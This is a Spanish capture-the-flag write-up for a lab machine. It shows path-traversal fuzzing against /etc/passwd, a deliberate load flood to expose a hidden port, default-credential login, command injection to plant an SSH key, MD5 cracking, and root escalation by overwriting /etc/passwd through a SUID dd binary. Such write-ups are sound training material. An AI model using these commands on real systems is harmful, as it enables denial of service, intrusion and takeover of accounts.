Enumeramos puertos:
❯ nmap -sCV -p 22,80 -oN 02-targeted.txt 192.168.1.11
...
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3
80/tcp open http Apache httpd 2.4.62 ((Debian))
|_http-title: cyber fortress 9000
...Fuzzeando parámetros GET de index.php (buscando un LFI) damos con stress, que en realidad calcula los números primos hasta el número dado:
❯ ffuf -u 'http://192.168.1.11/index.php?FUZZ=../../../../etc/passwd' -w directory-list-2.3-small.txt -fs 2714
stress [Status: 200, ...]No hay LFI, pero la home habla de ataques DDoS, así que simulamos carga con varias instancias de ffuf en paralelo contra stress:
❯ ffuf -u 'http://192.168.1.11/index.php?stress=FUZZ' -w ~/Documentos/wordlists/SecLists/Fuzzing/6-digits-000000-999999.txt -fs 2712Cuando el servidor deja de responder, reescaneamos puertos hasta que aparece uno nuevo (8080):
❯ while true; do sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 03-allPorts-post-ddos 192.168.1.11 ; sleep 1; done
...
PORT STATE SERVICE
22/tcp open ssh
8080/tcp open http-proxy
...El puerto 8080 es un login Werkzeug (Debug Console); entramos con las credenciales por defecto admin:admin:
❯ whatweb http://192.168.1.11:8080/login
... Werkzeug[1.0.1] ... Title[Debug Console Login] ...El panel hace ping, pero permite concatenar comandos (command injection):
192.168.1.6; id
...
uid=1000(welcome) gid=1000(welcome) groups=1000(welcome)Plantamos un authorized_keys en el home de welcome y entramos por SSH:
;mkdir /home/welcome/.ssh && echo 'ssh-rsa...' > /home/welcome/.ssh/authorized_keys
❯ ssh welcome@192.168.1.11 -i id_rsa_welcome
welcome@Umz:~$Obtenemos la primera flag. En /opt/flask-debug hay un umz.pass que no podemos leer, pero sudo -l nos da md5sum:
welcome@Umz:/opt/flask-debug$ sudo -l
...
User welcome may run the following commands on Umz:
(ALL) NOPASSWD: /usr/bin/md5sumObtenemos el MD5 del archivo y, como contiene un salto de línea, lo crackeamos con un script propio que añade \n:
welcome@Umz:/opt/flask-debug$ sudo md5sum umz.pass
a963fadd7fd379f9bc294ad0ba44f659 umz.pass❯ cat crack_md5.py
import sys, hashlib
from tqdm import tqdm
with open(sys.argv[1], 'rt') as dic:
words = dic.read().split()
for word in tqdm(words):
if hashlib.md5((word+"\n").encode()).hexdigest() == 'a963fadd7fd379f9bc294ad0ba44f659':
print('[+] Found: ' + word); break
❯ python3 crack_md5.py /home/wh01s17/Documentos/wordlists/rockyou_utf8.txt
...
[+] Found: sunshine3
...
welcome@Umz:/home$ su umzyyds
Password: sunshine3
umzyyds@Umz:/home$En el home de umzyyds hay un binario SUID Dashazi, que en realidad es dd renombrado:
umzyyds@Umz:~$ ./Dashazi --version
dd (coreutils) 8.30
...dd permite escribir archivos, así que sobrescribimos /etc/passwd con un usuario UID 0:
umzyyds@Umz:~$ ./Dashazi if=/etc/passwd of=/tmp/passwd.bak status=none
❯ openssl passwd -1
Password: 1234
$1$/7FfToVh$E5ABpA40BkdHSLkRxykBG.
umzyyds@Umz:/tmp$ echo 'pwned:$1$/7FfToVh$E5ABpA40BkdHSLkRxykBG.:0:0:RePwned:/root:/bin/bash' >> passwd.mod
umzyyds@Umz:~$ ./Dashazi if=/tmp/passwd.mod of=/etc/passwd status=none
umzyyds@Umz:~$ su pwned
Password: 1234
root@Umz:/home/umzyyds#Obtenemos nuestra flag.
Fin.